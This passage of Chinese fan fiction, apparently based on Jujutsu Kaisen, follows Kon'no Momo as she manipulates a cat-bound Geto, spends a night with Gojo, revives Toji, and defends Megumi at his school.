“你知道的呀,我的术式可以赋予心灵的安定,换句话来说,不就是玩弄人心吗。”今野桃捂着嘴轻笑,“如果不是你太过警惕,我早就把你变成我的玩具咯。” 夏油杰咬着牙看她,那双瞳孔都缩成了两道细窄的竖缝,在灯光下泛着幽冷的寒光,他的耳朵向后紧紧贴在脑袋上,胡须颤抖不已。可惜体型太小,毫无威慑力,只有色厉内荏的可笑。 “干嘛这样看我。”她一脸无辜地说道,“你我之间的爱不就是这样吗,你骗骗我,我骗骗你。” 她顿了顿,语气变得意味深长。 “难道,你真的爱上我了?” 那个在他临死前飙升的数字开始跳动起来。 【夏油杰好感值:85】 【夏油杰好感值:84】 【夏油杰好感值:84】 …… 【夏油杰好感值:80】 不停闪烁着的数字停住了,稳稳定格在了80上。 今野桃低头一笑,用指尖拨了拨猫咪的尾巴。 “好啦,就算在法律上,配偶死亡也代表着婚姻关系的解除哦。”今野桃撑着下巴,饶有兴味地说道,“如果配偶复活,但另一半再婚,原本的婚姻关系也会作废的。更何况,我们根本就没有交往嘛。” 夏油杰没有说话,只是尾巴甩动的频率越发高了。 “你呢,现在就是一只小猫咪,别影响我谈恋爱,知道了吗。”她拍了拍小猫的脑袋。 谈恋爱?谁?是谁那么倒霉,被她看上了? 总不会是…… “老师要喝什么吗?红茶还是白开水还是可乐?” 夏油猫咪:…… 不可能!绝对不可能!悟怎么可能会被她迷惑! 夏油杰在客厅里,睁眼到天亮。 第二天,率先走出房间的,是那个欲壑难填的女人。她的眼角眉梢荡漾着蜜糖般的风情,两颊泛着淡淡的蔷薇色,像是春天枝头上盛开的鲜花,连细小的绒毛都仿佛镀上了一层柔光。 她的唇色嫣红水润,上扬的嘴角带着餍足的慵懒。 她反手将门关上,然后双手合十,对夏油杰笑道:“好吃,谢谢款待。” 夏油杰:…… 你糊涂啊,悟! 夏油杰的瞳孔失去了高光。 第102章 趁着五条悟还没有醒,今野桃随手设下了一个结界,将客厅围住。 她一屁股坐在了沙发上,把揣着手团成一团的小猫咪震得飞了起来,恰好落入她的怀中。她吃吃地笑着,像是吸人精魂的妖怪。 “怎么,在生气吗?”她有一搭没一搭地抚摸着猫咪的脊背,漫不经心地说道,“因为我夺走你好友的处。子之身?” 可惜小猫咪没有眉毛,不然一定会拧成一团的吧。 “可惜你已经死了呀。”今野桃怜惜地说道,“死掉的话,想做什么都不行了呢。” 夏油杰哑然,胡须抖动几下,终究还是沉默了。 她说得没错,他已经死了。死人如何能干涉活人的事情呢?他也很难猜到,如果悟知道他还活着,到底是高兴居多,还是愤怒居多。 他会想要再次杀死自己吗? 茫然和疲倦如潮水席卷了他,夏油杰垂下耳朵,假装自己真的只是一只小猫咪。 他抬眼,悄悄地看她。却发现,她脸上的笑容也淡了许多。 女人漠然地看着窗外的晨光,不知道在想什么。她的快乐这么快就退去了?摘下高岭之花的刺激也不足以让她感到兴奋吗? 果然啊,她就是个贪婪的、不知羞耻的女人!他也好,悟也罢,不过都是她玩弄的对象罢了! 今野桃不知道怀里的小猫咪有那么丰富的心理变化,反正他的好感值稳如老狗,一动不动。 当房间里传来极细微的声音时,她飞快地撤去了结界,等待着“睡美人”的出现…… 五条悟睁开眼的时候,恍惚觉得自己好像还在梦里。因为本能地运转了反转术式,所以身体并不觉得劳累。除此之外,呼吸的时候,好像整个人都轻飘飘的。他像是被认真打理过了的花枝,接受了雨露的恩泽后,变得光彩照人。 和煦的光线从窗帘的缝隙里渗进来,细小的灰尘在空气中翩飞。他的瞳孔还残留着昨夜的余韵,借着微末的光,在天花板上看见看见了摇晃的幻影。 被窝里的温度异常燥热,哪怕空调扔在兢兢业业地工作,但黏腻的汗水在他的身体和被褥之间制造出了一片潮湿的沼泽,鼻间隐隐传来古怪的气味。 身边的人不知道什么时候离开的,只留下似有若无的沐浴露的香。 五条悟慢慢地坐直了身体,关节发出咯吱咯吱的声音,像是没有润滑过的机器人。被子从身体上滑下去,露出结实的肌肉,隆起的血管顺着肌理向下蜿蜒,睡痕印在皮肤上,变成交错的图案。 纤长的睫毛在眼下投出浅淡的阴影,遮住他晦涩不明的眸光。 有微风自缝隙里溜进来,他情不自禁地颤了颤。被面拂过的感觉,让他想起昨晚被某人舌尖舔舐过的湿软。他好像变成了自己最喜欢吃的毛豆生奶油喜久福,软糯的外皮被揭开后,又被一口一口地吃光了所有的馅料。 最后一点白嫩软滑的奶油都被舔走,对方却还食髓知味般逼迫他,非要连眼泪都一起挤出来才行。 虽然他之前是没有过经验,但是、但是这一定有哪里不对吧! 将衣服囫囵穿好,五条悟推开门走了出去。他的女学生一脸淡然地喝着茶,看见他还向他招手,若无其事地同他打招呼。 “早上好呀,老师。”她弯着眼睛,笑意盈盈,“昨天睡得好吗?” 五条悟被哽住。 他垮着一张脸,白色的头发东一簇西一簇,翘得乱七八糟。T恤衫和牛仔裤的搭配让他看起来和十七八岁的少年没什么区别,成熟和青春在他的身上交织,构成了独特的气质。 “咳咳……”他清了清嗓子,“桃酱……” “我知道的哦。”今野桃抬手打断他的话,“放心,我不会要老师负责的。” “???”五条悟的眉毛扭在一起,他刚刚想说的是这个吗? 今野桃上前,握住了五条悟的手,深情款款地说道:“老师,我知道我们注定是不能在一起的,为了您的名誉、您的未来,我决不能做出那样自私的事情!” 五条悟:“啊……?” 宇宙猫猫头疑惑.jpg 今野桃将早点递到他的手中,恭敬地说道:“老师,先吃饭吧。” “……哦。” 安静的室内,除了他们吃饭的动静,就只有猫咪喝水的声音格外响亮。不过有点奇怪,水有那么好喝吗?怎么喝着喝着猫咪还抽泣起来了。 五条悟胡思乱想着。 他都不知道自己什么时候被送到了门口,自己的好学生站在屋内,而他站在外面。 “老师,工作加油呀!”她比了个打气的动作。 “你……”不对,哪里都很不对! 五条悟刚想开口,一辆小车就开了过来。车窗摇下,伊地知的脸露了出来。 “五条老师,我们该出发了。”他推了推眼镜,严肃地说道。 五条悟一脸呆滞。今野桃飞快地将墨镜给他戴好,头发梳顺,然后整理了一下外观。 走出去又是一个大帅哥啦! “我帮五条老师请假到了七点,现在正好哦。”今野桃晃了晃手机,屏幕上的时间恰巧显示七点整,“老师放心,之前的任务我都拜托冥冥小姐、棘还有熊猫他们处理掉了,大家都希望你能好好休息一下呢。” 五条悟张了张嘴巴,最终还是合上了。 小桃她……或许是害羞了吧。这种事情,哪怕没有经历过,他也知道,不能强行索要答案。 他的目光一寸一寸的描摹着她的轮廓,他还记得自己亲吻她时,理智都被焚烧干净的感觉。 五条悟对她笑了笑,让她愣了一下。 “好呀,那我就先走了,你也好好休息哦。”他向她比了个wink。 “嗯、嗯……好的。”今野桃没反应过来他是什么意思。 就算再高明的玩家,也没办法算到每一分每一毫的人心。 伊地知洁高听着五条悟哼的歌,迟疑地开口道:“五条老师好像很高兴?是有什么好事吗?” “嗯哼,是啊,如果 顺利的话,说不定马上就要结婚咯。“五条悟大大咧咧地回道。 结、结婚?! 伊地知的嘴唇抖了抖,虽然是提问,但答案大家都心知肚明:“新娘是……?” “当然是小桃啦!”五条悟不满地说道,“那还能有谁?” 说得有道理,但是……“您已经和小桃老师说好了?” 五条悟歪着头笑:“没有哦。不过要结婚的话,怎么看我才是最好的选择吧,钱多事少还不回家,再说了,我可是一个超——级大帅哥诶!” 伊地知洁高支支吾吾地片刻,还是沉默了。 结婚的话,那些都是身外之物吧,最重要的,难道不是爱吗? 五条老师,爱小桃老师吗? 或者说,小桃老师,爱五条老师吗? 【五条悟好感值:78】。 “喵?”你要出门? 小猫咪蹲在门口,看着女人提上包,换好鞋子。 “是啊,有点事情要出去一趟,你乖乖在家哦,毕竟你现在可是一只瘸腿猫咪,出去会挨打的。”今野桃对着镜子涂好口红,笑吟吟地说道,“被其他猫咪打事小,万一被坏人抓去,可能会被开膛破腹哦。” 夏油杰不语,他当然不会低估人性的恶。弱小者只会向更弱者施暴,来满足自己扭曲又卑微的自尊心。 “喵。”知道了,注意安全。 今野桃抱起可爱的小猫咪,在他的额头上落下一个吻。 “回来给你带个惊喜。” 惊喜? 别了吧,他最近的“惊喜”已经够多了。 可惜今野桃并不会听他的,她拎着包高高兴兴地走了。按照之前联系好的,她找到了那个自称是“尾神婆”的老妇。 “你说的‘神降术’是真的?”昏暗的室内,隔着厚重的屏风,她们遮遮掩掩地见面了。 见不得光的老鼠,就是这样生存着。 “没错,只要给我足够多的钱,我就会替你召唤出比五条悟还要厉害的存在!”尾神婆语气中是克制的兴奋和激动,既为了即将到手的高额报酬,也为自己终于能够报仇。 当初五条悟还没有出生的时候,正是他们诅咒师最繁荣最兴盛的时期。他们肆意玩弄生命,随随便便就能大赚特赚。可惜,五条悟诞生了。尾神婆亲眼看见他是怎么将诅咒师碾死的,惜命的她立刻蛰伏起来,才能活到现在。 但她没有一刻不希望五条悟去死!怕眼前的年轻女人以为自己在说谎,尾神婆咧开一个笑容,抛出了最珍贵的情报。 “那个男人,曾经差一点就杀死了五条悟!” 第103章 所谓神降术,准确来说应该叫做“降灵术”,换个名字是为了抬高身价。使用“降灵术”可以通过死去的人的身体组织或者灵魂情报,将其降灵到其他人的体内,起到类似“起死回生”的作用。 今野桃眸光闪动,对尾神婆所说的话信了。 “我要验货。”她淡淡开口道,“这可是一笔大交易,怎么可能随随便便就把钱给你。” 尾神婆眯了眯眼睛,那双眼珠在深陷的眼窝里咕噜转动。她的嘴角向上抽动,露出发黄的獠牙。 “好。”从喉咙里挤出嘶嘶的气音,她像是一条吐信的毒蛇,“那就让你看看好了。” 尾神婆开始咏唱很长一段咒语,蓝色的咒力笼罩在她的身上,之后她张开嘴,吞下了一枚胶囊。几分钟的时间,她就变成了另一个人。 今野桃上下仔细打量了她一番,没有找到一丝破绽。 “我吞下的,是一小块遗骨,这样就可以让我获得死去的人的能力。如果想要让死去的人彻底复活,那么还需要将灵魂一起召回,并献祭一具活人的身体,这是非常复杂的。毕竟,能当做容器的身体,没有那么简单找到。” 说了这么一长串,就是得加钱。 今野桃又问了几个问题,想要将情报套得更详细。 尾神婆有点不耐烦了,她说道:“禅院甚尔的尸体就安放在东京都立咒术高专,你支付定金后,我就替你将它偷出来。支付尾款后,神降仪式就可以开始了。” 眼看再也问不出更多内幕,今野桃失望地叹了口气。 “好吧。” 伴随着**被利器破开的声音,一道血迹溅射在屏风之上。今野桃后退了两步,躲开脏污的血液。 咚。 尸体倒下,尾神婆浑浊的眼珠暴突,血沫从嘴角溢出来,怨毒的目光死死盯着今野桃。 遵纪守法的老师微微一笑,掏出了通缉令,对照看了看。 “不错,就是你了。”因为虐杀无数普通人而早早上了通缉榜,却一直逍遥法外的诅咒师。 拍照、上传,一笔外快到手。 今野桃怎么可能将这么重要的事情交给诅咒师去做,用脚指头也能想到,像这种的术法一定存在某个“后门”,来应对召唤出来的“东西”失控的情况。 反正又不缺那点钱,当然是直接在商城里买最安全便捷。 高专有专门存放尸体的地方,他们大多被烧成了骨灰,安放在一个个小格子里。今野桃很容易就找到了属于禅院甚尔的那个。 她干脆直接全都拿走了。 路上恰好遇到了一年级的四个学生,他们肩并肩地走在一起,显然关系越发融洽。 “小桃老师!”乙骨忧太欣喜地向她打招呼。 “忧太,棘,真希,熊猫。”今野桃一个没落下,“是刚刚结束训练吗?” “是啊。”乙骨忧太腼腆地笑了笑,“因为里香离开,我要尽快适应并且提高自己的实力呢。” “可别小看了这家伙,估计没多久就能恢复到特级的实力了。”熊猫感慨道,“他的咒力实在是太强大了!” 今野桃鼓励地拍了拍他的肩膀:“很不错嘛。” 她借着转向狗卷棘,开口道:“棘马上要冲击一级咒术师了吗?有需要尽管来找我呀。” “鲑鱼。”狗卷棘给了肯定的答复。 她最后看向了一直不说话的禅院真希。女生虽然有掩饰,但眼睛里的失落还是遮不住。 同期都在不断变强,只有自己还在原地打转,始终难以进步。体术是需要积累的,技巧也需要名师点拨。五条悟太忙了,不可能手把手地教她。 “真希。”她温柔地开口道,“下周一你到我办公室来,我有事跟你说。” 一下子,三双眼睛都落在了禅院真希的身上。女生愣了一下:“什么事?是任务吗?” “嘘。”今野桃对她眨了眨眼睛,“现在还不能说。” 禅院真希默默点头。 “不过,我想你一定会喜欢的。”她摸了摸女生的马尾辫,促狭地说道。 她……一定会喜欢? 禅院真希的脸上闪过茫然和微不可见的期待…… 禅院甚尔从没想过自己还有再度返回人间的机会,睁开眼睛的时候,他差点以为自己带着记忆投胎了。 刺眼的白光从头顶倾泻而下,消毒水的气味刺激着鼻腔,他坐起身,侧着头看向床边的女人。 “你醒了。”她合上手中的书,声音很软,“有什么地方不舒服吗?” 禅院甚尔从床上跳下来,活动了一下四肢,懒散地说道:“挺好。是你救了我?” 那种必死的伤也能治好吗?看样子这个女人的术式很不错,应该可以利用一下的样子。 女人迟疑了一下,开口道:“很抱歉,我并没有治好你,你确实已经死了。不过你放心,我把你复活了。” 听到前面的时候,禅院甚尔还以为她在故意耍他。结果后面一句话直接把他给整懵了。 不是,你不觉得你把我复活比把我治好更厉害吗? “把我复活?哈。”他嗤笑了一声,“说吧,要我做什么。” 左不过又是那些杀人放火的勾当。他倦怠地想。 女人停顿几秒,小心地开口道:“我想请你教一个学生。她很努力,也很有天赋,就是需要有人指导一下。对了,她也是天与咒缚,你们一定可以……” 禅院甚尔脸上略显戏谑的笑消失了,他冷冷说道:“是禅院家的?” 女人怔了怔,点头回道:“是的,不过她……” “我拒绝。”禅院甚尔果断开口道。 房间里陷入了难言的尴尬中,女人沉默着,似乎在思考什么。 禅院甚尔握了握拳头,已经开始思索如果这个女人要逼迫他,他该用什么力道保证只把她打个半死。 良久,她叹了一口气。 “好吧,是我唐突了。”她低声说道,“你如果不愿意就算了。” 禅院甚尔抱着手臂,居高临下地俯视着她。接下来呢?她要怎么做? 女人对他勉强勾了勾嘴角,说道:“这具身体出自实验室,里面的咒力可以支撑你活动两天,就当做我打扰你安眠的赔礼吧。” ……没了? 禅院甚尔挑眉凝视着她。他注意到,她的外表很漂亮。当然,这不是最引人注目的,她身上最特殊的,是那股天真的气质。 降灵术可谓是相当邪恶的术式,但她的眼睛很干净,坐在那里一看就是个乖乖女,很不像是一个咒术师。 算她识相。 禅院甚尔哼了一声,已经在想如何安排这“偷来”的两天了。最要紧的事情,就是去看看他的那个…… 忽然,一阵铃声响起,女人手忙脚乱地从包里掏出手机,随即微微蹙眉。 “喂,你好。”她礼貌地开口。 听筒对面的声音又快又尖,几乎分辨不出来。女人的表情变得严肃,她起身,说道:“我马上就来,麻烦你对小惠尊重一点,不然你就等着我的律师函吧!” 挂断电话,她又立刻拨了个号码出去。 “喂,津美纪,你在学校吗?” 简单地了解了一下情况,女人拎着手提包开始往外走。走了没几步,她愕然发现身后跟了个人影。 “甚尔先生?”她察觉到他不喜欢禅院,于是谨慎地称呼他名字,“我并不需要你跟着我,这个术式不会因为和施术人的距离远而解除。” “反正我也没事做,跟着你随便逛逛。”禅院甚尔穿着T恤衫和运动裤,两只手插在兜里。 女人现在显然有更要紧的事情,就随他去了。禅院甚尔不动声色地观察着她,在她脸上看见了显而易见的焦急。 两人坐着出租车,来到了学校里。她踩着高跟鞋飞快地走着,很快就找到了老师办公室,推开门的时候因为用力过大,门撞在墙壁上反弹回来,发出巨大的声音。 里面的人都被吓了一跳。 “小惠!”女人站在孤立无援的少年身前,“你没事吧?” “他有什么事?你看看我的儿子,都被他打成什么样了!” “就是就是,这个男生一看就不是什么好学生。” 女人对那些嘈杂的声音充耳不闻,只是看着少年问道:“发生什么事情了?” 少年的目光有些漂移,他小声说道:“那几个人想欺负低年级的,被我收拾了。” “你胡说!我儿子怎么会做那种事情!明明是你动手打人!” 激动的家长几乎要冲过来,在半路上就被一把推开。 比她们高了快两个头的男人极具威慑力,一双绿色的眼瞳看人都带着阴森森的感觉。 “好好说话。”他不轻不重地开口道,“否则别怪我不客气。” 之前被抢走手机的老师连忙过来打圆场:“大家都冷静一点,有什么事坐下来说。” “不必了。”女人冷笑道,“我相信小惠,他绝不会无缘无故地动手打人。如果你们非要纠缠到底,那我就报警处理吧,有什么话对我的律师说。” 张口律师闭口律师,吓唬谁呢! “或者,我们就把你们说的话坐实了。以后见一次,就打一次。”她张开了全身的尖刺,气势汹汹。 禅院甚尔单手支在门框上,相当配合地展示出肌肉贲张的健壮身材。 对面的家长被这套组合技吓住,于是她们突然就又能好好说话了。 老师看着激动的家长总算冷静下来,暗暗松了一口气。 “这位家长,请问您是小惠的……”她看着女人姣好的面容,一时间有点拿不准。 “是姐……” 伏黑惠的话没能说完。 “是妈妈。”女人抬了抬下巴,矜持地说道,“我是他妈妈。” 妈妈?!好年轻的妈妈! 老师干笑两声,又看向门神一样站在旁边的男人:“那请问您是……?” 禅院甚尔早就认出这个熟悉的少年是谁了,但尽管有着相似的面容,两人给人的感觉却完全不一样。 禅院甚尔还记得自己在这个年纪的时候,已经成为家族中[躯俱留]中的一员,在那个全是炮灰的队伍里摸爬滚打。命运不曾给他半点馈赠,任凭他跌跌撞撞地独自长大。 可是这家伙,一看就过得很幸福。 哪怕被污蔑,也可以作出云淡风轻的样子,然后理直气壮地向身边的人告状。因为他知道,自己一定会得到想要的结果。 禅院甚尔短促地笑了一声,伸出手搭在了女人的肩膀上,英俊的脸蛋亲昵地靠在她的耳边,意味深长地说道:“我是他爸爸。” 他清楚地看见少年瞪过来的难以置信的目光。 第104章 “原来是伏黑同学的爸爸和妈妈。”老师干笑道,“既然双方家长都到了,那我们好好聊聊吧。” “行,小惠到底有没有欺负同学,调一下监控或者询问一下其他同学,自然真相大白。”今野桃不屑地说道,“如果你们是污蔑小惠,那么就不要怪我们坚持到底,为小惠讨一个公道了。” 显然,伏黑惠不可能做出欺压同学的事情。他虽然外表冷漠,看上去很不近人情的样子,但在学校的风评竟然还算不错。 他是个外冷内热的好孩子,自从升上初中,从前那些校园里的小混混都踢到了铁板,被他狠狠收拾了一顿,反倒过来认他作“伏黑哥”了。 这次会被告状,其实是因为来了个不“懂事”的转校生,还不清楚伏黑惠在学校里的地位。 对面的家长灰溜溜地带着孩子走了,眼看那几人灰头土脸道歉的样子,显然以后再也不敢随意欺负同学了。 今野桃笑眯眯揽住伏黑惠的肩膀,高兴地说道:“我就知道小惠是个好孩子嘛!” 班主任移开了目光。 讲道理,随着伏黑惠那张有点厌世、有点颓丧还有点冷酷的表情,能说出“好孩子”这个词,她算是相信这个女人是他的妈妈了。 可是,妈妈这么爱他,伏黑惠怎么还性格这么孤僻呢? 班主任的目光忍不住落在了自称是“爸爸”的男人身上,恰好对上了他森寒的眼神,赶紧又挪了回来。 懂了,看样子是父亲的遗传。 “真是的,浪费这么多时间,都快过中午了。”今野桃看了一眼时间,对班主任说道,“老师,我们就先去吃饭了。” “好、好的。”班主任停顿了一下,说道,“下午的课不要迟到了。” 临走时,她左思右想,还是对今野桃说道:“小惠妈妈,虽然小惠是维护正义,但还是要教育孩子,出手时不能太重,要注意分寸。” 那些人都被他打成什么样子了,就差头破血流。 今野桃微笑着,没有反驳,也没有应和。 这位老师还是很负责任的,她拉着伏黑惠走出学校,轻声细语地对他说道:“小惠,有什么想吃的吗?” “我都可以。”伏黑惠随意地说道。 于是今野桃带着他来到了一家普通的饭店,虽然没什么特色,但这里有伏黑惠最喜欢吃的一道菜,生姜烧。” 小惠,不要难过,“今野桃叹了口气说道,“咒术师和普通人终究会走上不同的道路,等你毕业了,和学校里的老师同学兴许再也不会见面。” 伏黑惠默默点头。 禅院甚尔没忍住,嗤笑了一声。 难过?他可没看出来这小子有哪里难过。人也打了,家长还给他出头了,最后还被小心翼翼地哄着。这明明什么便宜都被他占尽了好吗! 听见男人不友善的声音,伏黑惠抬眼,低声问道:“小桃姐姐,他是你的男朋友吗?” “啊,不是呢。甚尔先生……是我今天刚认识的同事,听说我有点事,就过来帮忙了。”今野桃连忙摆手说道,“还没自我介绍,甚尔先生,我叫今野桃,你可以叫我小桃。” 她笑起来的时候,眼睛弯成了月牙,睫毛在瓷白的肌肤上投下细碎的影子。窗外的阳光照在她自然红润的脸颊上,透出健康的色泽。两边垂下来的鬓发,像托举着花蕊的叶片。 小桃?倒是个跟她很衬的名字,她看上去就是个戳起来软绵绵的桃子。 “小惠,刚刚我说是你的妈妈,你不要介意呀。”今野桃双手交叉,小声说道,“因为那些人都是家长,我如果说是你的姐姐,感觉气势就要弱很多了。” “……没关系。”伏黑惠虽然有点介意——当然,就是一点点而已,但正如小桃姐姐说的那样,等到毕业以后反正也不会再跟那些人见面了。 他真正觉得不爽的,是那个男人自称是他的“爸爸”。 太失礼了! 伏黑惠忍不住用眼睛瞪了一下禅院甚尔。 禅院甚尔差点被气笑了。 他坐直了身体,抱着手臂开口道:“虽然‘妈妈’是假的,但‘爸爸’可是真的。好久不见啊,小惠。” “???!!!” 一时间,两人都愣住了。今野桃左边看看,右边看看,随后喃喃道:“我还以为,是因为你们都出身禅院,所以长得像呢。” 显然她很清楚伏黑惠的身世,却不知道禅院甚尔和他之间的关系。 “不可能。”伏黑惠不假思索地说道,“你看起来可没那么老。” 这个男人最多三十岁的样子,难道还能十五六岁就生下自己? 禅院甚尔不动声色地瞥了一眼今野桃,没把自己死而复生的秘密说出来,只是懒洋洋地开口:“我天赋异禀。” 饭桌上陷入了漫长的沉默,伏黑惠本就不是多话的人,禅院甚尔也没什么好同这个十几年没见的孩子说的。 虽然,于他而言,他们分开的时间并不长。 但关心、爱着伏黑惠的女人并不这样认为。在确认身份后,她担忧地望了望伏黑惠,扭头对禅院甚尔说道:“甚尔先生,您可能不清楚,小惠这么些年,其实过得也很辛苦。” 辛苦?哪里辛苦?这不平安健康地长大了吗? 今野桃握住了伏黑惠的手,怜惜地说道:“没有父母在身边的孩子,总是会过早成熟,因为他们提前接触到了外界的风雨,只能独自承受。” 禅院甚尔的眼角抖了抖。 他父母双全,也没感觉幸福。 所以事实证明,父母并不是最重要的,一个孩子想要健康幸福的长大,最重要的是爱。 “我不需要那些。”伏黑惠反手握住了她的手腕,“我有津美纪和小桃姐姐。” 今野桃用柔软的目光注视着他。她的眉间微蹙,眸子里流出来的却不是责备,而像是在擦拭一件易碎的瓷器那样小心翼翼。 她的嘴角微微抿着,安慰的话呼之欲出,却又被咽了回去。 “乱说话。”她连埋怨的语气都轻得像羽毛,“哪有孩子会不向往父母呢。” 只不过是因为失望积攒得太多了,所以不敢再去奢求。 她伸出手,拨弄了一下男生额前的碎发,指尖温暖,如春风拂过,带着无声的疼惜。 “我去结账。”她起身,留出一片空间交给这对父子。 她停在了十几米开外的收银台,以一种不会听见他们谈话,却又能看见他们的距离。 她大概是担心这对很久没见面的父子会打起来。 巧得很,伏黑惠现在确实有一种想把拳头砸在男人脸上的冲动。只因为男人用轻佻的语气说道—— “小鬼,你是不是喜欢她?”他翠绿色的眸子扫过少年稚嫩的面容,最后落在远处女人垂下的发丝上,手指漫不经心地捏着盛满酒液的杯子摇晃,“我说的,是男人对女人的那种喜欢哦。” 今野桃只是低头看了一眼找的零钱,耳边就传来哐啷一声响,抬头看过去,禅院甚尔张开了巴掌,接住了伏黑惠的拳头。 见她快速地跑过来,年长的男人叹了口气,说道:“唉,果然小惠还是对我心怀怨恨啊。” 伏黑惠的脸涨得通红,却一个字都说不出来。 可恶、可恶的男人!他是故意在小桃姐姐面前说他坏话的!旁人的万般诋毁,比不过亲人的一句责备。 作为儿子,就算父亲再怎么疏远,也不能到怨恨的程度吧! 今野桃的视线在两人之间逡巡,然后她果断地开口道:“甚尔先生,既然如此,你身为父亲,理当好好反思一下了!” 禅院甚尔:“?” 第105章 禅院甚尔像是受了很大的打击,吃完了饭也一声不吭的,也没兴趣搭讪了,远远地坠在两人的身后,把手插在兜里不知道在想什么。 今野桃把伏黑惠送到了校园门口,她无声地回头看了一眼,开口道:“小惠,你对他是怎么想的?” 伏黑惠的目光落在灰扑扑的地面上,小声回答:“没什么好想的。他跟我,本来和陌生人也差不多。” 禅院甚尔死去的时候,他才只有五六岁。但在那更早之前,那个男人就已经很少回家了。“父亲”成为了记忆里的一个代名词,最终越来越模糊。 今野桃把手轻轻地抱住了他,微微屈膝,手臂环住他单薄的肩膀,掌心贴在他的后背。她的指尖不经意地划过少年凸起的肩胛骨,他挺直的背脊带着未脱的稚气,如一株挺拔的翠竹。 他贴在她的胸口,闻到了淡淡的香气,听见她用微不可闻的音量说道:“我了解你的,小惠。在姐姐的面前,不需要隐瞒。” 于是伏黑惠的喉结滚动了一下,他的声线有点颤抖:“随便他好了,反正他的离开和回来,都不会告诉我。” 伏黑惠本就不是热情开朗的人,想以一个名字就叩开他的心扉,不可能的。 她花费了六年时间,才刷到了70的好感值。 “我知道了。”今野桃摸了摸他的发梢。看似坚硬又扎手的发丝,其实摸起来很软。就像他这个人一样。 “小惠的愿望,我会替你达成的。” 伏黑惠惊讶地抬眼看她,却被她按着肩膀转过身。 “好了,你现在最重要的任务,就是好好学习。”她轻柔地推了他一把,“快去上课吧。” 想要说出口的话又咽了回去,伏黑惠一步三回头地走进了校园。 今野桃刚想转身,却发现身后立了一堵墙。禅院甚尔跟她贴得很近,她差点直接撞进他的怀里。 “你对那个小子可真好啊。”他感慨道。 “甚尔先生这样说,会让我怀疑小惠到底是不是你的孩子。” 今野桃用不赞同的目光看着他,“小惠是个很乖巧可爱的孩子,值得我们对他好。” 禅院甚尔嗤了一声,说道:“以前在禅院里,乖巧可爱可不能让我活下去。” 今野桃微微后仰,以一种探究的目光注视着他,直把他看得心里发毛。 她在看什么?为什么忽然又露出恍然大悟的表情? “我知道了,甚尔先生以前也吃了很多苦吧。”她了然地点头道,“因为自己淋过雨,所以想把儿子的伞也给撕掉。真是一个过分的爸爸啊。” “哈?我过分?”禅院甚尔夸张地掏了掏耳朵,不屑地说道,“当初要不是我把那小子托付给五条悟,他现在哪来这么好的日子。” 所以,绝对不是嫉妒! “好吧,我知道甚尔先生是爱着小惠的。”她的嘴角微微勾起,“那么,甚尔先生要跟我一起回家吗?” 回……家? “虽然表现得好像非常讨厌甚尔先生的样子,但是,小惠一直不肯搬家呢,还住在当初的那个屋子里。”今野桃抿了抿唇,开口道,“或许,还抱着渺茫的希望,等一个人回家吧。” 禅院甚尔咬紧了牙关,脸上微妙地浮现出了些许厌烦。 然而今野桃很清楚地知道,这不代表他是真的讨厌,而是进入了一种应激状态。 就像许多从未中过奖的人在面对天上掉下来的馅饼时,第一反应不是欣喜,而是警惕。 今野桃没有继续多说,而是自顾自地迈开了腿。为了上学方便,伏黑惠住的地方距离学校不远,走路快的话,也就十来分钟。 禅院甚尔如一道影子,不远不近地跟着她。 他们来到了一户非常普通的民居前。两室一厅的房子刚好足够两个孩子居住,再多来一个人都会显得逼仄。 今野桃一边在玄关处换鞋,一边说道:“我几乎不会在这里留宿,偶尔几次,小惠就会睡在客厅。” 禅院甚尔没吭声,也脱了鞋子走进去。 “请坐吧。”今野桃熟悉地找到自己需要的东西,开口道,“要喝茶吗?” “不用。”禅院甚尔生硬地回答。 她也不生气,一只手端着一本书,一只手端着茶杯走过来,坐在他的对面。她将茶杯放下,把书册翻开,里面一张张的,都是照片。 从伏黑惠八岁,到他十四岁。 “我认识小惠的时候,他还没从小学毕业,刚上三年级。”她用回忆的语气说道,指腹摩挲着茶杯边缘,热气袅袅上升,模糊了她的轮廓,“那时他并不喜欢我,大概是习惯了和姐姐相依为命,不擅长接受陌生人的好意。” 禅院甚尔的目光一寸一寸地描摹着照片里孩子的模样,垂着眼说道:“小孩子能懂什么。” “别的小孩我不知道,但小惠懂的很多。”今野桃不赞同他的说法,“他几乎不需要我和津美纪照顾,完全可以独立生活。” “等等,你现在多少岁?”禅院甚尔抓住了一个被他忽略的地方,他上上下下地扫视着她,迟疑地开口道,“你有三十岁了吗?” 今野桃瞪大了眼睛,难以置信地开口道:“你觉得我有三十岁?!我今年才二十一岁!!” 混蛋甚尔!她忍不住用手锤了一下他。 禅院甚尔皮糙肉厚,不怕她打。他挠了挠脸颊,算了一下时间:“那小惠八岁的时候,你才十四岁?五条悟呢?” “五条悟是我老师!”今野桃的脸颊微微鼓起,非常不满的样子,“我可是老师的第一个学生!” 禅院甚尔看了她一眼,绿色的眸子里带着古怪的笑意。 可恶!他在嘲笑她!二级咒术师怎么了!又没吃他家的米! 女人的耳尖立时烧了起来,泛起的红霞一路蔓延到了脖颈。 “老师很忙的啦,哪里有时间带小孩,只能交给我看顾一下了。”她抬着下巴,哼了一声说道,“你该庆幸有我在,小惠生病、开家长会、参加活动,可都是我在帮忙。” 禅院甚尔撑着下巴,似笑非笑地开口道:“那真是谢谢小桃了。” 他和伏黑惠用着同样的称呼,听起来怪怪的。 今野桃托着下巴,指了指相册说道:“好了好了,我们继续翻吧。” 一本相册看了有大概半个小时,她侧过头,装模作样地看了看天色,开口道:“你要不要留下吃晚饭?” “我记得午饭还没有吃完多久吧,就想吃晚饭了?”禅院甚尔可有可无地开口道。 今野桃沉默几秒钟,小声说道:“你知道的,小惠一定很期待能跟你一起吃晚饭。就算要离开,至少……要有个好好的道别吧。” 当初的死亡猝不及防,如今好不容易重逢,一言不发地离开,多让人伤心啊。 禅院甚尔侧着头看她,半晌,意味深长地说道:“行,那就留下来吃晚饭。” 也算是他们父子俩运气好,总是能碰到天真乃至于……愚蠢的女人吧。 可惜,对她来说,并不是什么好事呢。 因为拥有的东西太少,所以越发想要将自己所有的攥在手里。但攥得越紧,反而越容易失去。 禅院甚尔躺在沙发上,看着熟悉又陌生的赛马。旁边,今野桃正在看书。 日头逐渐西斜,该回家的人却迟迟没有回来。津美纪有社团活动,但伏黑惠可没有。 他去哪里了? 今野桃在门口张望了几次,没有看见少年的身影。她忍不住拨了个电话给津美纪,拜托她去教室看一下。 “小惠没有回去吗?”津美纪找到班主任,却得到了一个令人惊讶的消息,“可是小惠不在学校里。” 不仅不在,而且是下午就没来。 “不可能!”今野桃失声喊道,“我看着小惠走进学校的!” 